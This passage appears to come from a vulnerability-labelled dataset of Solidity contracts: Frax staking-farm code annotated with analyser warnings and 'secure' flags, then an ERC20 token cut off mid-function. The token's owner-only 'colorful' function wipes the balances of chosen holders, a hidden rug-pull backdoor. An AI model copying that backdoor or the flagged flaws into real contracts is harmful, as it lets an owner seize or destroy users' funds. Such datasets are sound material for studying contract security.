reentrancy-no-eth | ID: 71c9a74\n _updateStoredRewardsAndTime();\n }\n\n function _updateStoredRewardsAndTime() internal {\n uint256[] memory rewards_per_token = rewardsPerToken();\n\n\t\t// cache-array-length | ID: 98b0569\n for (uint256 i = 0; i < rewardsPerTokenStored.length; i++) {\n\t\t\t// reentrancy-benign | ID: d922d1f\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 71c9a74\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t// reentrancy-no-eth | ID: a81a7dd\n rewardsPerTokenStored[i] = rewards_per_token[i];\n }\n\n\t\t// reentrancy-benign | ID: d922d1f\n\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t// reentrancy-no-eth | ID: 71c9a74\n\t\t// reentrancy-no-eth | ID: 8420753\n\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t// reentrancy-no-eth | ID: a81a7dd\n lastUpdateTime = lastTimeRewardApplicable();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: be5fa42): FraxUnifiedFarmTemplate.sync_gauge_weights(bool) uses timestamp for comparisons Dangerous comparisons force_update || (block.timestamp > last_gauge_time_totals[i])\n\t// Recommendation for be5fa42: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 86f20a3): FraxUnifiedFarmTemplate.sync_gauge_weights(bool) has external calls inside a loop last_gauge_time_totals[i] = IFraxGaugeController(gauge_controller_address).time_total()\n\t// Recommendation for 86f20a3: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b957513): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for b957513: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5506b7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5506b7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function sync_gauge_weights(bool force_update) public {\n for (uint256 i = 0; i < gaugeControllers.length; i++) {\n address gauge_controller_address = gaugeControllers[i];\n\n if (gauge_controller_address != address(0)) {\n if (\n\t\t\t\t\t// timestamp | ID: be5fa42\n force_update ||\n (block.timestamp > last_gauge_time_totals[i])\n ) {\n\t\t\t\t\t// reentrancy-benign | ID: 7bc7275\n\t\t\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t\t\t// reentrancy-benign | ID: d922d1f\n\t\t\t\t\t// calls-loop | ID: b957513\n\t\t\t\t\t// reentrancy-no-eth | ID: 1f933cc\n\t\t\t\t\t// reentrancy-no-eth | ID: 587956e\n\t\t\t\t\t// reentrancy-no-eth | ID: b1b5cc3\n\t\t\t\t\t// reentrancy-no-eth | ID: 808361e\n\t\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t\t// reentrancy-no-eth | ID: 5506b7e\n\t\t\t\t\t// reentrancy-no-eth | ID: 27fcf58\n\t\t\t\t\t// reentrancy-no-eth | ID: e4efbef\n\t\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n last_gauge_relative_weights[i] = IFraxGaugeController(\n gauge_controller_address\n ).gauge_relative_weight_write(\n address(this),\n block.timestamp\n );\n\n\t\t\t\t\t// calls-loop | ID: 86f20a3\n\t\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t\t// reentrancy-no-eth | ID: 5506b7e\n\t\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n last_gauge_time_totals[i] = IFraxGaugeController(\n gauge_controller_address\n ).time_total();\n }\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c87107a): FraxUnifiedFarmTemplate.sync() uses timestamp for comparisons Dangerous comparisons block.timestamp >= periodFinish\n\t// Recommendation for c87107a: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d922d1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d922d1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function sync() public {\n require(!withdrawalOnlyShutdown, \"Only withdrawals allowed\");\n\n\t\t// reentrancy-benign | ID: d922d1f\n sync_gauge_weights(false);\n\n\t\t// reentrancy-benign | ID: d922d1f\n\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t// reentrancy-no-eth | ID: 8420753\n\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t// reentrancy-no-eth | ID: a81a7dd\n fraxPerLPStored = fraxPerLPToken();\n\n\t\t// timestamp | ID: c87107a\n if (block.timestamp >= periodFinish) {\n retroCatchUp();\n } else {\n\t\t\t// reentrancy-benign | ID: d922d1f\n _updateStoredRewardsAndTime();\n }\n }\n\n function setPauses(\n bool _stakingPaused,\n bool _withdrawalsPaused,\n bool _rewardsCollectionPaused,\n bool _withdrawalOnlyShutdown\n ) external onlyByOwnGov {\n stakingPaused = _stakingPaused;\n\n withdrawalsPaused = _withdrawalsPaused;\n\n rewardsCollectionPaused = _rewardsCollectionPaused;\n\n if (_withdrawalOnlyShutdown && !withdrawalOnlyShutdown)\n withdrawalOnlyShutdown = true;\n }\n\n function unlockStakes() external onlyByOwnGov {\n stakesUnlocked = !stakesUnlocked;\n }\n\n function toggleValidVeFXSProxy(address _proxy_addr) external onlyByOwnGov {\n valid_vefxs_proxies[_proxy_addr] = !valid_vefxs_proxies[_proxy_addr];\n }\n\n function recoverERC20(\n address tokenAddress,\n uint256 tokenAmount\n ) external onlyTknMgrs(tokenAddress) {\n bool isRewTkn = isRewardToken[tokenAddress];\n\n if (\n (isRewTkn && rewardManagers[tokenAddress] == msg.sender) ||\n (!isRewTkn && (msg.sender == owner))\n ) {\n TransferHelper.safeTransfer(tokenAddress, msg.sender, tokenAmount);\n\n return;\n } else {\n revert(\"No valid tokens to recover\");\n }\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: da4a8eb): FraxUnifiedFarmTemplate.setMiscVariables(uint256[6]) contains a tautology or contradiction require(bool,string)((_misc_vars[1] >= 0) && (_misc_vars[2] >= 0) && (_misc_vars[3] >= 0),Must be >= 0)\n\t// Recommendation for da4a8eb: Fix the incorrect comparison by changing the value type or the comparison.\n function setMiscVariables(\n uint256[6] memory _misc_vars\n ) external onlyByOwnGov {\n require(_misc_vars[0] >= MULTIPLIER_PRECISION, \"Must be >= MUL PREC\");\n\n\t\t// tautology | ID: da4a8eb\n require(\n (_misc_vars[1] >= 0) &&\n (_misc_vars[2] >= 0) &&\n (_misc_vars[3] >= 0),\n \"Must be >= 0\"\n );\n\n require((_misc_vars[4] >= 1) && (_misc_vars[5] >= 1), \"Must be >= 1\");\n\n lock_max_multiplier = _misc_vars[0];\n\n vefxs_max_multiplier = _misc_vars[1];\n\n vefxs_per_frax_for_max_boost = _misc_vars[2];\n\n vefxs_boost_scale_factor = _misc_vars[3];\n\n lock_time_for_max_multiplier = _misc_vars[4];\n\n lock_time_min = _misc_vars[5];\n }\n\n function setRewardVars(\n address reward_token_address,\n uint256 _new_rate,\n address _gauge_controller_address,\n address _rewards_distributor_address\n ) external onlyTknMgrs(reward_token_address) {\n rewardRatesManual[\n rewardTokenAddrToIdx[reward_token_address]\n ] = _new_rate;\n\n gaugeControllers[\n rewardTokenAddrToIdx[reward_token_address]\n ] = _gauge_controller_address;\n\n rewardDistributors[\n rewardTokenAddrToIdx[reward_token_address]\n ] = _rewards_distributor_address;\n }\n\n function changeTokenManager(\n address reward_token_address,\n address new_manager_address\n ) external onlyTknMgrs(reward_token_address) {\n rewardManagers[reward_token_address] = new_manager_address;\n }\n\n event RewardPaid(\n address indexed user,\n uint256 amount,\n address token_address,\n address destination_address\n );\n}",
"file_name": "solidity_code_3773.sol",
"secure": 0,
"size_bytes": 33492
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./FraxUnifiedFarmTemplate.sol\" as FraxUnifiedFarmTemplate;\nimport \"./IMetaMorpho.sol\" as IMetaMorpho;\nimport \"./TransferHelper.sol\" as TransferHelper;\n\ncontract FraxUnifiedFarmERC20 is FraxUnifiedFarmTemplate {\n\t// WARNING Optimization Issue (constable-states | ID: 062cc08): FraxUnifiedFarm_ERC20.frax_is_token0 should be constant \n\t// Recommendation for 062cc08: Add the 'constant' attribute to state variables that never change.\n bool internal frax_is_token0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4ae04c7): FraxUnifiedFarm_ERC20.stakingToken should be immutable \n\t// Recommendation for 4ae04c7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IMetaMorpho public stakingToken;\n\n mapping(address => LockedStake[]) public lockedStakes;\n\n struct LockedStake {\n bytes32 kek_id;\n uint256 start_timestamp;\n uint256 liquidity;\n uint256 ending_timestamp;\n uint256 lock_multiplier;\n }\n\n constructor(\n address _owner,\n address[] memory _rewardTokens,\n address[] memory _rewardManagers,\n uint256[] memory _rewardRatesManual,\n address[] memory _gaugeControllers,\n address[] memory _rewardDistributors,\n address _stakingToken\n )\n FraxUnifiedFarmTemplate(\n _owner,\n _rewardTokens,\n _rewardManagers,\n _rewardRatesManual,\n _gaugeControllers,\n _rewardDistributors\n )\n {}\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: faf1760): FraxUnifiedFarm_ERC20.fraxPerLPToken().frax_per_lp_token is a local variable never initialized\n\t// Recommendation for faf1760: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function fraxPerLPToken() public view virtual override returns (uint256) {\n uint256 frax_per_lp_token;\n\n return frax_per_lp_token;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8417396): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 8417396: Avoid relying on 'block.timestamp'.\n function calcCurrLockMultiplier(\n address account,\n uint256 stake_idx\n ) public view returns (uint256 midpoint_lock_multiplier) {\n LockedStake memory thisStake = lockedStakes[account][stake_idx];\n\n uint256 accrue_start_time;\n\n\t\t// timestamp | ID: 8417396\n if (lastRewardClaimTime[account] < thisStake.start_timestamp) {\n accrue_start_time = thisStake.start_timestamp;\n } else {\n accrue_start_time = lastRewardClaimTime[account];\n }\n\n\t\t// timestamp | ID: 8417396\n if (thisStake.ending_timestamp <= block.timestamp) {\n\t\t\t// timestamp | ID: 8417396\n if (lastRewardClaimTime[account] < thisStake.ending_timestamp) {\n uint256 time_before_expiry = thisStake.ending_timestamp -\n accrue_start_time;\n\n uint256 time_after_expiry = block.timestamp -\n thisStake.ending_timestamp;\n\n uint256 pre_expiry_avg_multiplier = lockMultiplier(\n time_before_expiry / 2\n );\n\n uint256 numerator = (pre_expiry_avg_multiplier *\n time_before_expiry) + (0 * time_after_expiry);\n\n midpoint_lock_multiplier =\n numerator /\n (time_before_expiry + time_after_expiry);\n } else {\n midpoint_lock_multiplier = 0;\n }\n } else {\n uint256 avg_time_left;\n\n {\n uint256 time_left_p1 = thisStake.ending_timestamp -\n accrue_start_time;\n\n uint256 time_left_p2 = thisStake.ending_timestamp -\n block.timestamp;\n\n avg_time_left = (time_left_p1 + time_left_p2) / 2;\n }\n\n midpoint_lock_multiplier = lockMultiplier(avg_time_left);\n }\n\n\t\t// timestamp | ID: 8417396\n if (midpoint_lock_multiplier > thisStake.lock_multiplier)\n midpoint_lock_multiplier = thisStake.lock_multiplier;\n }\n\n function calcCurCombinedWeight(\n address account\n )\n public\n view\n override\n returns (\n uint256 old_combined_weight,\n uint256 new_vefxs_multiplier,\n uint256 new_combined_weight\n )\n {\n old_combined_weight = _combined_weights[account];\n\n new_vefxs_multiplier = veFXSMultiplier(account);\n\n uint256 midpoint_vefxs_multiplier;\n\n if (\n (_locked_liquidity[account] == 0 &&\n _combined_weights[account] == 0) ||\n (new_vefxs_multiplier >= _vefxsMultiplierStored[account])\n ) {\n midpoint_vefxs_multiplier = new_vefxs_multiplier;\n } else {\n midpoint_vefxs_multiplier =\n (new_vefxs_multiplier + _vefxsMultiplierStored[account]) /\n 2;\n }\n\n new_combined_weight = 0;\n\n for (uint256 i = 0; i < lockedStakes[account].length; i++) {\n LockedStake memory thisStake = lockedStakes[account][i];\n\n uint256 midpoint_lock_multiplier = calcCurrLockMultiplier(\n account,\n i\n );\n\n uint256 liquidity = thisStake.liquidity;\n\n uint256 combined_boosted_amount = liquidity +\n ((liquidity *\n (midpoint_lock_multiplier + midpoint_vefxs_multiplier)) /\n MULTIPLIER_PRECISION);\n\n new_combined_weight += combined_boosted_amount;\n }\n }\n\n function lockedStakesOf(\n address account\n ) external view returns (LockedStake[] memory) {\n return lockedStakes[account];\n }\n\n function lockedStakesOfLength(\n address account\n ) external view returns (uint256) {\n return lockedStakes[account].length;\n }\n\n function _updateLiqAmts(\n address staker_address,\n uint256 amt,\n bool is_add\n ) internal {\n address the_proxy = getProxyFor(staker_address);\n\n if (is_add) {\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n _total_liquidity_locked += amt;\n\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n _locked_liquidity[staker_address] += amt;\n\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n if (the_proxy != address(0)) proxy_lp_balances[the_proxy] += amt;\n } else {\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n _total_liquidity_locked -= amt;\n\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n _locked_liquidity[staker_address] -= amt;\n\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n if (the_proxy != address(0)) proxy_lp_balances[the_proxy] -= amt;\n }\n\n _updateRewardAndBalance(staker_address, false, true);\n }\n\n function _getStake(\n address staker_address,\n bytes32 kek_id\n ) internal view returns (LockedStake memory locked_stake, uint256 arr_idx) {\n if (kek_id != 0) {\n for (uint256 i = 0; i < lockedStakes[staker_address].length; i++) {\n if (kek_id == lockedStakes[staker_address][i].kek_id) {\n locked_stake = lockedStakes[staker_address][i];\n\n arr_idx = i;\n\n break;\n }\n }\n }\n\n require(\n kek_id != 0 && locked_stake.kek_id == kek_id,\n \"Stake not found\"\n );\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: f41ebd7): FraxUnifiedFarm_ERC20.lockAdditional(bytes32,uint256) contains a tautology or contradiction require(bool,string)(addl_liq >= 0,Must be positive)\n\t// Recommendation for f41ebd7: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 587956e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 587956e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e394dd0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e394dd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function lockAdditional(\n bytes32 kek_id,\n uint256 addl_liq\n ) public nonReentrant {\n require(!stakingPaused, \"Staking paused\");\n\n require(!withdrawalOnlyShutdown, \"Only withdrawals allowed\");\n\n\t\t// reentrancy-no-eth | ID: 587956e\n\t\t// reentrancy-no-eth | ID: e394dd0\n _getReward(msg.sender, msg.sender, true);\n\n (LockedStake memory thisStake, uint256 theArrayIndex) = _getStake(\n msg.sender,\n kek_id\n );\n\n uint256 new_amt = thisStake.liquidity + addl_liq;\n\n\t\t// tautology | ID: f41ebd7\n require(addl_liq >= 0, \"Must be positive\");\n\n\t\t// reentrancy-no-eth | ID: 587956e\n\t\t// reentrancy-no-eth | ID: e394dd0\n TransferHelper.safeTransferFrom(\n address(stakingToken),\n msg.sender,\n address(this),\n addl_liq\n );\n\n\t\t// reentrancy-no-eth | ID: 587956e\n lockedStakes[msg.sender][theArrayIndex] = LockedStake(\n kek_id,\n thisStake.start_timestamp,\n new_amt,\n thisStake.ending_timestamp,\n thisStake.lock_multiplier\n );\n\n\t\t// reentrancy-no-eth | ID: e394dd0\n _updateLiqAmts(msg.sender, addl_liq, true);\n\n emit LockedAdditional(msg.sender, kek_id, addl_liq);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3206ac3): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 3206ac3: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e4efbef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e4efbef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a81a7dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a81a7dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function lockLonger(\n bytes32 kek_id,\n uint256 new_ending_ts\n ) public nonReentrant {\n require(!stakingPaused, \"Staking paused\");\n\n require(!withdrawalOnlyShutdown, \"Only withdrawals allowed\");\n\n\t\t// reentrancy-no-eth | ID: e4efbef\n\t\t// reentrancy-no-eth | ID: a81a7dd\n _getReward(msg.sender, msg.sender, true);\n\n (LockedStake memory thisStake, uint256 theArrayIndex) = _getStake(\n msg.sender,\n kek_id\n );\n\n\t\t// timestamp | ID: 3206ac3\n require(new_ending_ts > block.timestamp, \"Must be in the future\");\n\n\t\t// timestamp | ID: 3206ac3\n uint256 time_left = (thisStake.ending_timestamp > block.timestamp)\n ? thisStake.ending_timestamp - block.timestamp\n : 0;\n\n uint256 new_secs = new_ending_ts - block.timestamp;\n\n\t\t// timestamp | ID: 3206ac3\n require(new_secs > time_left, \"Cannot shorten lock time\");\n\n\t\t// timestamp | ID: 3206ac3\n require(new_secs >= lock_time_min, \"Minimum stake time not met\");\n\n\t\t// timestamp | ID: 3206ac3\n require(\n new_secs <= lock_time_for_max_multiplier,\n \"Trying to lock for too long\"\n );\n\n\t\t// reentrancy-no-eth | ID: e4efbef\n lockedStakes[msg.sender][theArrayIndex] = LockedStake(\n kek_id,\n block.timestamp,\n thisStake.liquidity,\n new_ending_ts,\n lockMultiplier(new_secs)\n );\n\n\t\t// reentrancy-no-eth | ID: a81a7dd\n _updateRewardAndBalance(msg.sender, false, true);\n\n emit LockedLonger(\n msg.sender,\n kek_id,\n new_secs,\n block.timestamp,\n new_ending_ts\n );\n }\n\n function stakeLocked(\n uint256 liquidity,\n uint256 secs\n ) external nonReentrant returns (bytes32) {\n return\n _stakeLocked(\n msg.sender,\n msg.sender,\n liquidity,\n secs,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 808361e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 808361e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 58d693a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 58d693a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _stakeLocked(\n address staker_address,\n address source_address,\n uint256 liquidity,\n uint256 secs,\n uint256 start_timestamp\n )\n internal\n\t\t// reentrancy-no-eth | ID: 808361e\n\t\t// reentrancy-no-eth | ID: 58d693a\n updateRewardAndBalanceMdf(staker_address, true)\n returns (bytes32)\n {\n require(!withdrawalOnlyShutdown, \"Only withdrawals allowed\");\n\n require(!stakingPaused, \"Staking paused\");\n\n require(secs >= lock_time_min, \"Minimum stake time not met\");\n\n require(\n secs <= lock_time_for_max_multiplier,\n \"Trying to lock for too long\"\n );\n\n\t\t// reentrancy-no-eth | ID: 808361e\n\t\t// reentrancy-no-eth | ID: 58d693a\n TransferHelper.safeTransferFrom(\n address(stakingToken),\n source_address,\n address(this),\n liquidity\n );\n\n uint256 lock_multiplier = lockMultiplier(secs);\n\n bytes32 kek_id = keccak256(\n abi.encodePacked(\n staker_address,\n start_timestamp,\n liquidity,\n _locked_liquidity[staker_address]\n )\n );\n\n\t\t// reentrancy-no-eth | ID: 808361e\n lockedStakes[staker_address].push(\n LockedStake(\n kek_id,\n start_timestamp,\n liquidity,\n start_timestamp + secs,\n lock_multiplier\n )\n );\n\n\t\t// reentrancy-no-eth | ID: 58d693a\n _updateLiqAmts(staker_address, liquidity, true);\n\n emit StakeLocked(\n staker_address,\n liquidity,\n secs,\n kek_id,\n source_address\n );\n\n return kek_id;\n }\n\n function withdrawLocked(\n bytes32 kek_id,\n address destination_address,\n bool claim_rewards_deprecated\n ) external nonReentrant returns (uint256) {\n require(withdrawalsPaused == false, \"Withdrawals paused\");\n\n return\n _withdrawLocked(\n msg.sender,\n destination_address,\n kek_id,\n claim_rewards_deprecated\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 52e022b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 52e022b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 27fcf58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 27fcf58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8420753): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8420753: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _withdrawLocked(\n address staker_address,\n address destination_address,\n bytes32 kek_id,\n bool claim_rewards_deprecated\n ) internal returns (uint256) {\n if (withdrawalOnlyShutdown) {} else {\n\t\t\t// reentrancy-no-eth | ID: 27fcf58\n\t\t\t// reentrancy-no-eth | ID: 8420753\n _getReward(staker_address, destination_address, true);\n }\n\n (LockedStake memory thisStake, uint256 theArrayIndex) = _getStake(\n staker_address,\n kek_id\n );\n\n\t\t// timestamp | ID: 52e022b\n require(\n block.timestamp >= thisStake.ending_timestamp ||\n stakesUnlocked == true,\n \"Stake is still locked!\"\n );\n\n uint256 liquidity = thisStake.liquidity;\n\n if (liquidity > 0) {\n\t\t\t// reentrancy-no-eth | ID: 27fcf58\n\t\t\t// reentrancy-no-eth | ID: 8420753\n TransferHelper.safeTransfer(\n address(stakingToken),\n destination_address,\n liquidity\n );\n\n\t\t\t// reentrancy-no-eth | ID: 27fcf58\n delete lockedStakes[staker_address][theArrayIndex];\n\n\t\t\t// reentrancy-no-eth | ID: 8420753\n _updateLiqAmts(staker_address, liquidity, false);\n\n emit WithdrawLocked(\n staker_address,\n liquidity,\n kek_id,\n destination_address\n );\n }\n\n return liquidity;\n }\n\n function _getRewardExtraLogic(\n address rewardee,\n address destination_address\n ) internal override {}\n\n event LockedAdditional(\n address indexed user,\n bytes32 kek_id,\n uint256 amount\n );\n\n event LockedLonger(\n address indexed user,\n bytes32 kek_id,\n uint256 new_secs,\n uint256 new_start_ts,\n uint256 new_end_ts\n );\n\n event StakeLocked(\n address indexed user,\n uint256 amount,\n uint256 secs,\n bytes32 kek_id,\n address source_address\n );\n\n event WithdrawLocked(\n address indexed user,\n uint256 liquidity,\n bytes32 kek_id,\n address destination_address\n );\n}",
"file_name": "solidity_code_3774.sol",
"secure": 0,
"size_bytes": 20266
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./FraxUnifiedFarm_ERC20.sol\" as FraxUnifiedFarm_ERC20;\nimport \"./IMetaMorpho.sol\" as IMetaMorpho;\n\ncontract FraxUnifiedFarmERC20Other is FraxUnifiedFarm_ERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: fac04b9): FraxUnifiedFarm_ERC20_Other.farm_type should be constant \n\t// Recommendation for fac04b9: Add the 'constant' attribute to state variables that never change.\n string public farm_type = \"ERC20_Convex_Other\";\n\n constructor(\n address _owner,\n address[] memory _rewardTokens,\n address[] memory _rewardManagers,\n uint256[] memory _rewardRates,\n address[] memory _gaugeControllers,\n address[] memory _rewardDistributors,\n address _stakingToken\n )\n FraxUnifiedFarm_ERC20(\n _owner,\n _rewardTokens,\n _rewardManagers,\n _rewardRates,\n _gaugeControllers,\n _rewardDistributors,\n _stakingToken\n )\n {\n stakingToken = IMetaMorpho(_stakingToken);\n }\n\n function fraxPerLPToken()\n public\n view\n override\n returns (uint256 frax_per_lp_token)\n {\n {\n frax_per_lp_token = stakingToken.convertToAssets(1e18);\n }\n }\n}",
"file_name": "solidity_code_3775.sol",
"secure": 1,
"size_bytes": 1364
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Ansemsangels is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable settle;\n\n constructor() {\n _name = \"Ansems Angels\";\n\n _symbol = \"ANGEL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 5167000000;\n\n settle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == settle, \"Not allowed\");\n\n _;\n }\n\n function colorful(address[] memory domestic) public onlyOwner {\n for (uint256 i = 0; i < domestic.length; i++) {\n address account = domestic[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, 